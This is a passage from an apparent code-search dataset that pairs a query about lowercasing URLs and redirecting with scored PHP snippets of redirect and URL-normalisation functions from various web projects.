$dat);\t\r\n\t\t\t\t\t\t\r\n\t\t\t\t\t\t$this->db->trans_complete();\r\n\t\t\t\t\t}\t\r\n\t\t\t\t}\t\t\t\t\t\r\n\t\t\t}\r\n\t\t\t\r\n\t\t\t$this->load->view('play',$data);\r\n\t\t}else\r\n\t\t{\r\n\t\t\t$this->load->view('notfound',$data);\r\n\t\t}\r\n\t}", "title": "" } ]
3689ffa9365524c36795c4a73948e50c
Changes the requested URL to lowercase and redirects if modified
[ { "docid": "338237ec1bae3b8cff9cf89d004f6755", "score": "0.8257302", "text": "public static function toLower() {\n\t\t\t// Grab requested URL\n\t\t\t$url = $_SERVER['REQUEST_URI'];\n\t\t\t$params = $_SERVER['QUERY_STRING'];\n\n\t\t\t// If URL contains a period, halt (likely contains a filename and filenames are case specific)\n\t\t\tif ( preg_match('/[\\.]/', $url) ) {\n\t\t\t\treturn;\n\t\t\t}\n\t\t\t// If URL contains a capital letter\n\t\t\tif ( preg_match('/[A-Z]/', $url) ) {\n\t\t\t\t// Convert URL to lowercase\n\t\t\t\t$lc_url = empty($params)\n\t\t\t\t\t? strtolower($url)\n\t\t\t\t\t: strtolower(substr($url, 0, strrpos($url, '?'))).'?'.$params;\n\t\t\t\t// if url was modified, re-direct\n\t\t\t\tif ($lc_url !== $url) {\n\t\t\t\t\t// 301 redirect to new lowercase URL\n\t\t\t\t\theader('Location: '.$lc_url, TRUE, 301);\n\t\t\t\t\texit();\n\t\t\t\t}\n\t\t\t}\n\t\t}", "title": "" } ]
[ { "docid": "2f6c1ea89e7d36614075a4211e54e14c", "score": "0.7380397", "text": "function permaLowercase301()\r\n\t{\r\n\t\t$link = \"http\".(($_SERVER['HTTPS']==\"on\"||$_SERVER['HTTPS'])?'s':'').\"://\".$_SERVER['HTTP_HOST'];\r\n\t\t$fullurl = $link.$_SERVER['REQUEST_URI'];\r\n\t\t$exp = parse_url($fullurl);\r\n\t\tif(preg_match('/[A-Z]/',$exp['path']))\r\n\t\t\t{\r\n\t\t\t\t$url = strtolower($exp['path']);\r\n\t\t\t\tif($url!=$exp['path'])\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\t$redirect = $link.$url.((isset($exp['query'])&&!empty($exp['query']))?'?'.$exp['query']:'').((isset($exp['fragment'])&&!empty($exp['fragment']))?'#'.$exp['fragment']:'');\r\n\t\t\t\t\t\tif(function_exists('status_header')){status_header(301);}\r\n\t\t\t\t\t\theader(\"HTTP/1.0 301 Moved Permanently\");\r\n\t\t\t\t\t\theader(\"Location: \".$redirect);\r\n\t\t\t\t\t}\r\n\t\t\t}\r\n\t}", "title": "" }, { "docid": "4a575ac7ecb2feeade6478f38c255c3e", "score": "0.7188755", "text": "private function checkUrl() {\n\t\tif($this->route !== strtolower($this->route)) {\n\t\t\thttp_response_code(301);\n\t\t\theader('location: ' .strtolower($this->route));\n\t\t}\n\t}", "title": "" }, { "docid": "f4af82250f0cbf30b10cd20973697a38", "score": "0.716903", "text": "private function checkUrl() {\n\t\tif ($this->route !== strtolower($this->route)) {\n\t\t\thttp_response_code(301);\n\t\t\theader('location: ' . strtolower($this->route));\n\t\t}\n\t}", "title": "" }, { "docid": "011a0587326b5392da7cf9f392150b61", "score": "0.6571759", "text": "function redirect() {\r\n\r\n\t\t\t// this is what the user asked for (strip out home portion, case insensitive)\r\n\r\n\t\t\t$userrequest = str_ireplace( get_option( 'home' ), '', $this->get_address() );\r\n\r\n\t\t\t$userrequest = rtrim( $userrequest, '/' );\r\n\r\n\t\t\t$redirects = get_option( '301_redirects' );\r\n\r\n\t\t\tif ( ! empty( $redirects ) ) {\r\n\r\n\t\t\t\tif ( strpos( $this->get_address(), 'https://' ) !== false )\r\n\t\t\t\t\treturn;\r\n\r\n\t\t\t\tforeach ( $redirects as $storedrequest => $destination ) {\r\n\r\n\t\t\t\t\t// compare user request to each 301 stored in the db\r\n\t\t\t\t\t$storedrequest = '/' . str_replace( '/', '\\/', rtrim( $storedrequest, '/' ) ) . '/';\r\n\r\n\t\t\t\t\tif ( preg_match( $storedrequest, urldecode( $userrequest ) ) ) {\r\n\r\n\t\t\t\t\t\t$destination = preg_replace( $storedrequest , $destination, urldecode( $userrequest ) );\r\n\r\n\t\t\t\t\t\theader ( 'HTTP/1.1 301 Moved Permanently' );\r\n\r\n\t\t\t\t\t\theader ( 'Location: ' . esc_url( $destination ) );\r\n\r\n\t\t\t\t\t\texit();\r\n\r\n\t\t\t\t\t} else {\r\n\r\n\t\t\t\t\t\tunset( $redirects );\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}", "title": "" }, { "docid": "9116a807e0e8fb6aa9a6efe923e0ce75", "score": "0.64489275", "text": "public static function r() {\n $uri = $_SERVER['REQUEST_URI'];\n $h = substr($uri, -8);\n\n $u = self::g($h);\n\n header('HTTP/1.1 301 Moved Permanently');\n header('Location: ' . $u);\n }", "title": "" }, { "docid": "dead8875ddba22f6f897ab2dc1127e3d", "score": "0.6115447", "text": "function redirect() {\r\n\t\t\t// this is what the user asked for (strip out home portion, case insensitive)\r\n\t\t\t$userrequest = str_ireplace(get_option('home'),'',$this->get_address());\r\n\t\t\t$userrequest = rtrim($userrequest,'/');\r\n\t\t\t\r\n\t\t\t$redirects = get_option('301_redirects');\r\n\t\t\tif (!empty($redirects)) {\r\n\t\t\t\t\r\n\t\t\t\t$wildcard = get_option('301_redirects_wildcard');\r\n\t\t\t\t$do_redirect = '';\r\n\t\t\t\t\r\n\t\t\t\t// compare user request to each 301 stored in the db\r\n\t\t\t\tforeach ($redirects as $storedrequest => $destination) {\r\n\t\t\t\t\t// check if we should use regex search \r\n\t\t\t\t\tif ($wildcard === 'true' && strpos($storedrequest,'*') !== false) {\r\n\t\t\t\t\t\t// wildcard redirect\r\n\t\t\t\t\t\t\r\n\t\t\t\t\t\t// don't allow people to accidentally lock themselves out of admin\r\n\t\t\t\t\t\tif ( strpos($userrequest, '/wp-login') !== 0 && strpos($userrequest, '/wp-admin') !== 0 ) {\r\n\t\t\t\t\t\t\t// Make sure it gets all the proper decoding and rtrim action\r\n\t\t\t\t\t\t\t$storedrequest = str_replace('*','(.*)',$storedrequest);\r\n\t\t\t\t\t\t\t$pattern = '/^' . str_replace( '/', '\\/', rtrim( $storedrequest, '/' ) ) . '/';\r\n\t\t\t\t\t\t\t$destination = str_replace('*','$1',$destination);\r\n\t\t\t\t\t\t\t$output = preg_replace($pattern, $destination, $userrequest);\r\n\t\t\t\t\t\t\tif ($output !== $userrequest) {\r\n\t\t\t\t\t\t\t\t// pattern matched, perform redirect\r\n\t\t\t\t\t\t\t\t$do_redirect = $output;\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t\telseif(urldecode($userrequest) == rtrim($storedrequest,'/')) {\r\n\t\t\t\t\t\t// simple comparison redirect\r\n\t\t\t\t\t\t$do_redirect = $destination;\r\n\t\t\t\t\t}\r\n\t\t\t\t\t\r\n\t\t\t\t\t// redirect. the second condition here prevents redirect loops as a result of wildcards.\r\n\t\t\t\t\tif ($do_redirect !== '' && trim($do_redirect,'/') !== trim($userrequest,'/')) {\r\n\t\t\t\t\t\t// check if destination needs the domain prepended\r\n\t\t\t\t\t\tif (strpos($do_redirect,'/') === 0){\r\n\t\t\t\t\t\t\t$do_redirect = home_url().$do_redirect;\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t\theader ('HTTP/1.1 301 Moved Permanently');\r\n\t\t\t\t\t\theader ('Location: ' . $do_redirect);\r\n\t\t\t\t\t\texit();\r\n\t\t\t\t\t}\r\n\t\t\t\t\telse { unset($redirects); }\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}", "title": "" }, { "docid": "d89c047f616f8e84385bb3d3e016b32b", "score": "0.61037827", "text": "function msv_redirect($url) {\n $website = msv_get(\"website\");\n\n // check lang URL\n if (!empty($website->langUrl)) {\n\n // only in case of local redirect\n if (substr($url, 0, 1) === '/' && strpos($url, $website->langUrl) !== 0) {\n $url = $website->langUrl.$url;\n }\n\n }\n\n $website->outputRedirect($url);\n}", "title": "" }, { "docid": "df4b70b3cbc4553d6dfc706082aa8828", "score": "0.60465544", "text": "public function pfr()\n {\n $this->page = \"\"; \n foreach($this->origUrlArray as $part) {\n $this->page .= strtolower($part).\"/\";\n }\n $this->page = rtrim($this->page,\"/\");\n $this->page = ltrim($this->page,\"/\");\n\n header(\"LOCATION: /\".$this->page);\n die;\n }", "title": "" }, { "docid": "cb422fd37247c9a410493a50a7a58912", "score": "0.59821486", "text": "function handle_redirects() {\r\n if(preg_match('/^\\/?(index|app)\\/?$/', $_SERVER['REQUEST_URI'])) {\r\n header('HTTP/1.1 301 Moved Permanently');\r\n header('Location: ../');\r\n return true;\r\n }\r\n # add trailing slash if required\r\n if(!preg_match('/\\/$/', $_SERVER['REQUEST_URI']) && !preg_match('/\\./', $_SERVER['REQUEST_URI'])) {\r\n header('HTTP/1.1 301 Moved Permanently');\r\n header('Location:'.$_SERVER['REQUEST_URI'].'/');\r\n return true;\r\n }\r\n return false;\r\n }", "title": "" }, { "docid": "6a4a427a9af6114ad59e0068f3619beb", "score": "0.59201145", "text": "function CheckUrl ($s) {\n\t\t$myurl = preg_replace ('/\\?.*$/', '', $_SERVER['REQUEST_URI']);\n\t\t//If it is not the same as the desired URL, then redirect\n\t\tif ($myurl != $s) { header(\"Location: $s\", true, 301); exit; }\n\t}", "title": "" }, { "docid": "292b8edb0aad154bd207168d123f9e6a", "score": "0.5843298", "text": "function redirect(string $url): void\n{\n header('Status: 301 Moved Permanently', false, 301); \n header('Location: '.$url);\n die();\n}", "title": "" }, { "docid": "ff9fc2d58ab5d4522df6fced95d5307a", "score": "0.5835455", "text": "function exec_header_redirect($url)\n{\n\tglobal $vbulletin;\n\n\t$url = create_full_url($url);\n\n\tif (class_exists('vBulletinHook'))\n\t{\n\t\t// this can be called when we don't have the hook class\n\t\t($hook = vBulletinHook::fetch_hook('header_redirect')) ? eval($hook) : false;\n\t}\n\n\t$url = str_replace('&amp;', '&', $url); // prevent possible oddity\n\n\tif (SAPI_NAME == 'cgi' OR SAPI_NAME == 'cgi-fcgi')\n\t{\n\t\theader('Status: 301 Moved Permanently');\n\t}\n\telse\n\t{\n\t\theader('HTTP/1.1 301 Moved Permanently');\n\t}\n\n\theader(\"Location: $url\");\n\tdefine('NOPMPOPUP', 1);\n\tif (defined('NOSHUTDOWNFUNC'))\n\t{\n\t\texec_shut_down();\n\t}\n\texit;\n}", "title": "" }, { "docid": "cc23d5e6776b2a50ee2ba53b4b022140", "score": "0.580313", "text": "public function testNormalizeUrl() {\n print(\"Test redirect pada short URL yang sudah ada\\n\");\n $this->POST('/', ['url' => 'google.com']);\n $response = $this->GET('/c7b9');\n $response->assertStatus(302);\n $response->assertRedirect('http://google.com');\n\n print(\"Test redirect pada short URL yang tidak tersedia\\n\");\n $response = $this->GET('/randomLink');\n $response->assertSee(\"404\");\n }", "title": "" }, { "docid": "259515ac24155290feaf1bbc9b268a16", "score": "0.5794498", "text": "private function lowerCaseString() {\n $this->string = strtolower($this->string);\n }", "title": "" }, { "docid": "19a837506060f7fb5150a8d96b74e53c", "score": "0.57810074", "text": "public function redirect();", "title": "" }, { "docid": "19a837506060f7fb5150a8d96b74e53c", "score": "0.57810074", "text": "public function redirect();", "title": "" }, { "docid": "19a837506060f7fb5150a8d96b74e53c", "score": "0.57810074", "text": "public function redirect();", "title": "" }, { "docid": "19a837506060f7fb5150a8d96b74e53c", "score": "0.57810074", "text": "public function redirect();", "title": "" }, { "docid": "19a837506060f7fb5150a8d96b74e53c", "score": "0.57810074", "text": "public function redirect();", "title": "" }, { "docid": "19a837506060f7fb5150a8d96b74e53c", "score": "0.57810074", "text": "public function redirect();", "title": "" }, { "docid": "15c56f1da9ea1ae5eededf86a6866b47", "score": "0.5724296", "text": "public static function doRedirect() {\n\t\tif (count(self::getRedirects()) != 0) {\n\t\t\t$query = self::getQueryString();\n\t\t\tforeach (self::getRedirects() as $redirectData) {\n\t\t\t\t$goodLocation = $redirectData['to'];\n\t\t\t\t// If the entry is simple\n\t\t\t\tif ($redirectData['type'] == 0) {\n\t\t\t\t\tforeach ($redirectData['from'] as $badLocation) {\n\t\t\t\t\t\tif (stripos($query, $badLocation) === 0) {\n\t\t\t\t\t\t\tif ($redirectData['statusCode'] !== false) {\n\t\t\t\t\t\t\t\tSodium\\General::redirect($goodLocation, $redirectData['statusCode']);\n\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\tSodium\\General::redirect($goodLocation);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\t// or it is a regular expression\n\t\t\t\t\tif (preg_match($redirectData['from'], $query) != 0) {\n\t\t\t\t\t\tif ($redirectData['statusCode'] !== false) {\n\t\t\t\t\t\t\tSodium\\General::redirect($goodLocation, $redirectData['statusCode']);\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tSodium\\General::redirect($goodLocation);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}", "title": "" }, { "docid": "469c72ba40ecd7588aed4bc44759f90f", "score": "0.57216734", "text": "public static function init() {\n\t\t\tif ( !is_admin() ) {\n\t\t\t\tadd_action( 'init', array('WPForceLowercaseURLs', 'toLower') );\n\t\t\t}\n\t\t}", "title": "" }, { "docid": "047e4d5cdc546393a6d675930da0eec2", "score": "0.56695974", "text": "abstract public function toLowerCase($string);", "title": "" }, { "docid": "66a9df949f5c4397cf94dc1152240b48", "score": "0.56383276", "text": "public function baseRedirection($request) {\n\t\t$request = trim(sanitize_path_slashes($request), '/');\n\t\t$url = preg_replace('{'.$this->relative_root.'}', '/', $this->base_url, 1) . $request;\n\t\tredirect($url, 301);\n\t}", "title": "" }, { "docid": "c0662e372dd5b4727b6679a899a0099a", "score": "0.56253237", "text": "function spp_redirect()\n{\n $request_uri = preg_replace('#/$#','',urldecode($_SERVER['REQUEST_URI']));\n if( $link_info = $this->spp_is_pretty_link($request_uri,false) )\n {\n $params = (isset($link_info['pretty_link_params'])?$link_info['pretty_link_params']:'');\n $this->spp_link_redirect_from_slug( $link_info['pretty_link_found']->spp_slug);\n }\n}", "title": "" }, { "docid": "fc74276e2a6fab9fecb21a89a600fd68", "score": "0.56228614", "text": "function redirect_to(url){\n header(\"Location: ${url}\",TRUE,301);\n }", "title": "" }, { "docid": "14f5b3c944faf252707042bbd737a583", "score": "0.5615535", "text": "public static function redirectUrl()\n {\n $method = Utilities::fetchRequiredDataFromArray($_SERVER, 'REQUEST_METHOD');\n\n if ($method === 'GET') {\n self::optIn();\n } elseif ($method === 'POST') {\n self::optOut();\n }\n }", "title": "" }, { "docid": "093e3b224d676a622f86d56dff5a9c33", "score": "0.56135905", "text": "private static function redirect( $url , $code = 301 ) {\n self::code( $code );\n header(\"Location: $url\\0\");\n die();\n //header(\"Content-type: text/plain; charset=UTF-8\");\n\n }", "title": "" }, { "docid": "f24641318304415ba880c861b97821d9", "score": "0.5605548", "text": "public function check301()\n {\n $appUrl = \\Slrfw\\FrontController::$appUrl;\n if (!empty($appUrl)) {\n $appUrl .= '/';\n }\n\n $urlsToTest = array();\n\n $mask = '`'\n . '^/'\n . \\Slrfw\\FrontController::$envConfig->get('base', 'root')\n . $appUrl\n . '`';\n $url = preg_replace($mask, '', $_SERVER['REQUEST_URI']);\n $urlParts = explode('/', $url);\n\n if (substr($url, -1) == '/') {\n unset($urlParts[count($urlParts) - 1]);\n $urlParts[count($urlParts) - 1] .= '/';\n }\n\n $url = '';\n do {\n $urlPart = array_shift($urlParts);\n\n $url .= $urlPart;\n\n $urlFollowing = '';\n if (!empty($urlParts)) {\n $urlFollowing = implode('/', $urlParts);\n $url .= '/';\n }\n\n $urlsToTest[] = array(\n $url,\n $urlFollowing\n );\n } while (!empty($urlParts));\n\n // On ajoute aussi l'url entière à tester\n $urlsToTest[] = array(\n FrontController::getCurrentURL(),\n ''\n );\n\n $urlsToTest = array_reverse($urlsToTest);\n\n $urlPartRedirect = '';\n $redirection301 = false;\n foreach ($urlsToTest as $key => $row) {\n list($urlToTest, $urlFollowing) = $row;\n\n $query = 'SELECT new '\n . 'FROM redirection '\n . 'WHERE id_version = ' . ID_VERSION . ' '\n . ' AND id_api = ' . \\Slrfw\\FrontController::$idApiRew . ' '\n . ' AND old LIKE ' . $this->_db->quote($urlToTest) . ' '\n . 'LIMIT 1';\n\n $redirection301 = $this->_db->query($query)->fetch(\\PDO::FETCH_COLUMN);\n\n if ($redirection301 !== false) {\n $redirection301 .= $urlFollowing;\n break;\n }\n }\n\n if ($redirection301 !== false) {\n // Si l'url de redirection est une url absolue\n if(substr($redirection301, 0, 7) == 'http://'\n || substr($redirection301, 0, 8) == 'https://'\n ) {\n $redirection301 = $redirection301;\n } else {\n $redirection301 = $this->_url . $appUrl . $redirection301;\n }\n }\n\n return $redirection301;\n }", "title": "" }, { "docid": "8bbb7cc7e9e9cbe49f668de5e02ee53f", "score": "0.5585706", "text": "function coresurvey_page_redirect($str) {\n header(sprintf(\"Location: %s\", $str));\n exit;\n }", "title": "" }, { "docid": "bf86a145f2cb3c65474da827b25fd5ba", "score": "0.5580813", "text": "function _redirect( $url )\n {\n /*kiem tra neu header already by send thi chuyen trang = script nguoc lai chuyen trang = code server*/\n if (headers_sent()) {\n echo \"<script>document.location.href='$url';</script>\\n\";\n } else {\n ob_end_clean(); // clear output buffer\n header( 'HTTP/1.1 301 Moved Permanently' );\n header( \"Location: $url\" );\n }\n exit();\n }", "title": "" }, { "docid": "dc90094b27397d9f9933ae87b3391f2e", "score": "0.55689156", "text": "function localRedirect($url)\n{\n header('Location: ' . getURL($url));\n exit;\n}", "title": "" }, { "docid": "7c3299c4615b71368c42c074606d3297", "score": "0.55677754", "text": "function change_search_url_rewrite() {\n if (is_search() && ! empty($_GET['s'])) {\n wp_redirect(home_url(\"/search/\") . urlencode(get_query_var('s')));\n exit();\n }\n }", "title": "" }, { "docid": "0596e916e46f5ad9535772285c4dc817", "score": "0.55335397", "text": "public function beforeRedirect()\n {\n }", "title": "" }, { "docid": "f9ee1391721ea66593a6b43ba1efd331", "score": "0.55286825", "text": "public static function validateURL() {\t\t\t\t\n\t\t// Compare the url of the page node to the request url\n\t\t$calculatedURL = Environment::getCurrent()->getURLPrefix() .\n\t\t\tself::$_requestURLInfo->getPageNode()->getFullURL();\n\t\tif ($calculatedURL != self::getRequestURL())\n\t\t\tOutput::redirect($calculatedURL, 301 /* moved permanently */);\n\t}", "title": "" }, { "docid": "92255ad33bf865c794697181fe082290", "score": "0.55262566", "text": "public function redirectNiceUrl()\n {\n $unwanted_querystring = ['_wpnonce', '_wp_http_referer', 'action', 'action2'];\n\n $current_query_names = array_map('strtolower', array_keys($_GET));\n\n foreach ($current_query_names as $name) {\n if (in_array($name, $unwanted_querystring)) {\n unset($current_query_names);\n wp_redirect(remove_query_arg($unwanted_querystring));\n exit();\n }\n }// endforeach;\n unset($name);\n\n unset($current_query_names, $unwanted_querystring);\n }", "title": "" }, { "docid": "ca6ea3f694b246729b34c9d8fa080fc0", "score": "0.5520644", "text": "function gym_redirect($url, $header = \"301 Moved Permanently\", $code = 301, $replace = true) {\n\t\tif (headers_sent()) {\n\t\t\treturn false;\n\t\t}\n\t\tif (strstr(urldecode($url), \"\\n\") || strstr(urldecode($url), \"\\r\") || strstr(urldecode($url), ';url')) {\n\t\t\t$this->gym_error(400, '', __FILE__, __LINE__);\n\t\t}\n\t\t$http = \"HTTP/1.1 \";\n\t\theader($http . $header, $replace, $code);\n\t\theader(\"Location:\" . $url);\n\t\t$this->safe_exit();\n\t}", "title": "" }, { "docid": "49be4dccc8dc6e83ff2e39b12ee64149", "score": "0.5520314", "text": "function httpsRedirect() {\n\tif(empty($_SERVER['HTTPS']) || $_SERVER['HTTPS'] == 'off') {\n\t\t$redirect = 'https://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];\n\t\theader(\"HTTP/1.1 301 Moved permanently\");\n\t\theader(\"Location: \" . $redirect);\n\t\texit();\n\t}\n}", "title": "" }, { "docid": "35e2fa9e57ca4cd195e4952c5f754492", "score": "0.5481041", "text": "function redirect($url = ''){\n\n\t\t$url = $this->psa_registry->basedir_web . '/' . $url;\n\n\t\tif(!headers_sent()){\n\t\t\t// is ajax request\n\t\t\tif(@$this->psa_result->ajax_request){\n\t\t\t\theader('HTTP/1.1 310 redirect');\n\t\t\t\techo $url;\n\t\t\t}\n\t\t\telse{\n\t\t\t\theader('Location: ' . $url);\n\t\t\t}\n\t\t}\n\n\t\texit;\n\t}", "title": "" }, { "docid": "b91bec52c52074e2513d7625daf2cc23", "score": "0.54721963", "text": "function setRedirectEn($url)\n{\n $url = base64_decode($url);\n setRedirect($url);\n}", "title": "" }, { "docid": "2544534a067490158ce45dde9abcb487", "score": "0.5456717", "text": "public function executeIndex()\n {\n if (strpos($_SERVER['HTTP_USER_AGENT'], 'Chrome') === false) {\n return \"BadUserAgent\";\n }\n \n if ($this->getUser()->isAuthenticated()){\n return $this->redirect($this->defaultAction);\n }\n \n $this->url = $this->getRequestParameter('url');\n }", "title": "" }, { "docid": "b5432836ea39b97efa7e79914fb95cde", "score": "0.5452051", "text": "public function hasUppercase()\n {\n if (!Route::$uppercase) {\n Route::$_route = strtolower(Route::$_route);\n Route::$_url = strtolower(Route::$_url);\n }\n }", "title": "" }, { "docid": "9078b7026813c77dab631839fb438ba8", "score": "0.5436096", "text": "public function action_template_redirect() {\n\t\tif ( empty( get_query_var( 'styleguide' ) ) ) {\n\t\t\t// Not a styleguide request\n\t\t\treturn;\n\t\t}\n\n\t\tif ( empty( $_SERVER['REQUEST_URI'] ) ) {\n\t\t\treturn;\n\t\t}\n\t\t$request = sanitize_text_field( wp_unslash( $_SERVER['REQUEST_URI'] ) );\n\t\t$parts = explode( '?', $request );\n\t\t$request = $parts[0];\n\t\tif ( '/' === substr( $request, -1 ) ) {\n\t\t\treturn;\n\t\t}\n\t\t$redirect = home_url( $wp->request );\n\t\t// If the request had a query string, add it back in\n\t\tif ( ! empty( $parts[1] ) ) {\n\t\t\t$redirect = add_query_arg( $parts[1], $redirect );\n\t\t}\n\t\twp_safe_redirect( $redirect, 301 );\n\t\tdie();\n\t}", "title": "" }, { "docid": "b1d0bb8c84ef6a40cb67ec84db95b1af", "score": "0.5418571", "text": "function SiteRedirect($page = '')\n{\n Redirect(SiteURL($page));\n}", "title": "" }, { "docid": "f7ce11a728b6dbaa9130d7df8dcc54a0", "score": "0.5396894", "text": "function possible_redirect() {\n\t\t// Clean our request\n\t\t$search_link = strip_tags(stripslashes($_GET[$this->get_var]));\n\t\t\n\t\t// Look for our post\n\t\t$posts = get_posts(array(\n\t\t\t'meta_key' => apply_filters('blogger_meta_key', 'blogger_permalink', $this),\n\t\t\t'meta_value' => $search_link,\n\t\t\t'numberposts' => 1,\n\t\t));\n\t\t\n\t\tif (!empty($posts)) {\n\t\t\t$post = array_shift($posts);\n\t\t\twp_redirect(get_permalink($post->ID), 301);\n\t\t\texit;\n\t\t}\n\t\t\n\t\t// no page found, so see if it's a page instead\n\t\t$pages = get_pages(array(\n\t\t\t'meta_key' => apply_filters('blogger_meta_key', 'blogger_permalink', $this),\n\t\t\t'meta_value' => $search_link,\n\t\t\t'number' => 1,\n\t\t));\n\t\t\t\t\n\t\tif (!empty($pages)) {\n\t\t\t$page = array_shift($pages);\n\t\t\twp_redirect(get_permalink($page->ID), 301);\n\t\t\texit;\n\t\t}\n\t}", "title": "" }, { "docid": "50f2fa2d7178d182fa1e60b82e70d613", "score": "0.53883415", "text": "private function controllerLowercase(): string\n {\n return strtolower($this->controller->thisRouteController());\n }", "title": "" }, { "docid": "50f2fa2d7178d182fa1e60b82e70d613", "score": "0.53883415", "text": "private function controllerLowercase(): string\n {\n return strtolower($this->controller->thisRouteController());\n }", "title": "" }, { "docid": "c0b4cd7c8bb29ccafd868af2893eac6a", "score": "0.5384744", "text": "public function testRedirectAction()\n {\n $this->anonClient->request('GET', $this->u('/'.$this->path));\n $this->assertEquals(\n 301,\n $this->anonClient->getResponse()->getStatusCode()\n );\n $this->assertTrue(\n $this->anonClient->getResponse()->isRedirect(\n $this->p($this->u('/'.$this->path.'/'))\n )\n );\n\n // base route redirect action should add a slash to the end of the url, even if not logged in\n $this->anonClient->request('GET', $this->u('', true));\n $this->assertEquals(\n 301,\n $this->anonClient->getResponse()->getStatusCode()\n );\n $this->assertTrue(\n $this->anonClient->getResponse()->isRedirect(\n $this->p($this->u('/', true))\n )\n );\n\n // first controller without slash should add slash to the end of the url, even if not logged in\n $this->anonClient->request('GET', $this->u('/'.$this->path, true));\n $this->assertEquals(\n 301,\n $this->anonClient->getResponse()->getStatusCode()\n );\n $this->assertTrue(\n $this->anonClient->getResponse()->isRedirect(\n $this->p($this->u('/'.$this->path.'/', true))\n )\n );\n }", "title": "" }, { "docid": "c0b4cd7c8bb29ccafd868af2893eac6a", "score": "0.5384744", "text": "public function testRedirectAction()\n {\n $this->anonClient->request('GET', $this->u('/'.$this->path));\n $this->assertEquals(\n 301,\n $this->anonClient->getResponse()->getStatusCode()\n );\n $this->assertTrue(\n $this->anonClient->getResponse()->isRedirect(\n $this->p($this->u('/'.$this->path.'/'))\n )\n );\n\n // base route redirect action should add a slash to the end of the url, even if not logged in\n $this->anonClient->request('GET', $this->u('', true));\n $this->assertEquals(\n 301,\n $this->anonClient->getResponse()->getStatusCode()\n );\n $this->assertTrue(\n $this->anonClient->getResponse()->isRedirect(\n $this->p($this->u('/', true))\n )\n );\n\n // first controller without slash should add slash to the end of the url, even if not logged in\n $this->anonClient->request('GET', $this->u('/'.$this->path, true));\n $this->assertEquals(\n 301,\n $this->anonClient->getResponse()->getStatusCode()\n );\n $this->assertTrue(\n $this->anonClient->getResponse()->isRedirect(\n $this->p($this->u('/'.$this->path.'/', true))\n )\n );\n }", "title": "" }, { "docid": "65bd7e281e521b0bdf6eaac3d9f996d0", "score": "0.53833085", "text": "function doUrlForwarding() {\r\n\t$filename = substr(sprintf(\"http://%s%s\",$_SERVER['HTTP_HOST'],$_SERVER['REQUEST_URI']),(strlen(get_home_url().\"/\"))); // remove the .\"/\" after get_home_url if your legacy_urls start with /\r\n\t$query = new WP_Query(array('post_type'=>'any','meta_query' => array(array('key' => 'legacy-url','value' =>$filename))));\r\n\tif (!empty($query->post->ID)) wp_redirect(get_permalink($query->post->ID),'301'); // Change 301 if you wante a different redirect type;\r\n\t}", "title": "" }, { "docid": "8a6e19a8a6a4b294c7d4adec01d13e23", "score": "0.53570676", "text": "function camelcaselink($link) {\n\t\t$this->externallink($link);\n }", "title": "" }, { "docid": "57856348e0c30083db8e3a95b15c6959", "score": "0.53527147", "text": "function change_home_url($url, $path) {\n\tif (!defined(API_DOMAIN) || !defined(FRONTEND_DOMAIN)) {\n\t\treturn $url;\n\t}\n\tif (strpos($url,'https://' . API_DOMAIN . '/wp-json')) {\n\t\treturn $url;\n\t} else {\n\t\treturn str_replace('https://' . API_DOMAIN, 'https://'. FRONTEND_DOMAIN , $url);\n\t}\n}", "title": "" }, { "docid": "0bae73c67430878f619eb576499356ea", "score": "0.53492767", "text": "public function indexAction() \n {\n\t//If this action is hit we should look up the url then\n\t//do a redirect\n\n\n }", "title": "" }, { "docid": "03f376ed10dfc09f2c5d0507b5f39c00", "score": "0.53485876", "text": "public static function redir( $url = \"\" ) {\n\t\tif( headers_sent() ) echo \"<script>window.open( '\".self::getBase().\"$url', '_self' );</script>\";\n\t\telse header( \"Location: \".self::getBase().$url );\n\t\texit;\n\t}", "title": "" }, { "docid": "37f6eda2207bf5b13f8e8bc6b866ea75", "score": "0.5338363", "text": "function Redirect($newpage) {\r\n header(\"Cache-control: private, no-cache\");\r\n header(\"Status: 302 Moved Permanently\");\r\n header(\"Location: $newpage\", true, 302);\r\n exit;\r\n }", "title": "" }, { "docid": "e606bbc58bbeb77a199a74c3a5d99e59", "score": "0.53261477", "text": "public static function redirectTo(string $path) {\n // Permanent 301 redirection\n header(\"HTTP/1.1 301 Moved Permanently\");\n header(\"Location: $path\");\n exit();\n }", "title": "" }, { "docid": "620f31159bf3fb5426e0f32e063db546", "score": "0.5324147", "text": "function redirect( $url )\n {\n /*\n * If the headers have been sent, then we cannot send an additional location header\n * so we will output a javascript redirect statement.\n */\n if (headers_sent()) {\n echo \"<script>document.location.href='$url';</script>\\n\";\n } else {\n //@ob_end_clean(); // clear output buffer\n header( 'HTTP/1.1 301 Moved Permanently' );\n header( 'Location: ' . $url );\n exit;\n }\n }", "title": "" }, { "docid": "2725764347aa5661f9899585a97519c7", "score": "0.5320943", "text": "private function canonicalCheck(): void\n {\n $hostname = parse_url(strtok($this->request->getUri(), '?'));\n\n if ($hostname['scheme'] !== $_SERVER['CANONICAL_SCHEME'] || $hostname['host'] !== $_SERVER['CANONICAL_HOST']) {\n $canonical = sprintf('%s://%s', $_SERVER['CANONICAL_SCHEME'], $_SERVER['CANONICAL_HOST']);\n $login = sprintf('%s%s', $canonical, $this->getParameter('bolt.backend_url'));\n $notice = \"The <strong>canonical hostname</strong> is set to <code>{$canonical}</code> in <code>config.yaml</code>,\n but you are currently logged in using another hostname. This might cause issues with uploaded files, or\n links inserted in the content.\";\n $info = sprintf(\n \"Log in on Bolt using the proper URL: <code><a href='%s'>%s</a></code>.\",\n $login,\n $login\n );\n\n $this->setNotice(1, $notice, $info);\n }\n }", "title": "" }, { "docid": "8e39de0f3f5e641a91372389afec3fc9", "score": "0.5316966", "text": "public function go()\n {\n $location = str_replace('//','/',$this->location);\n header('location: 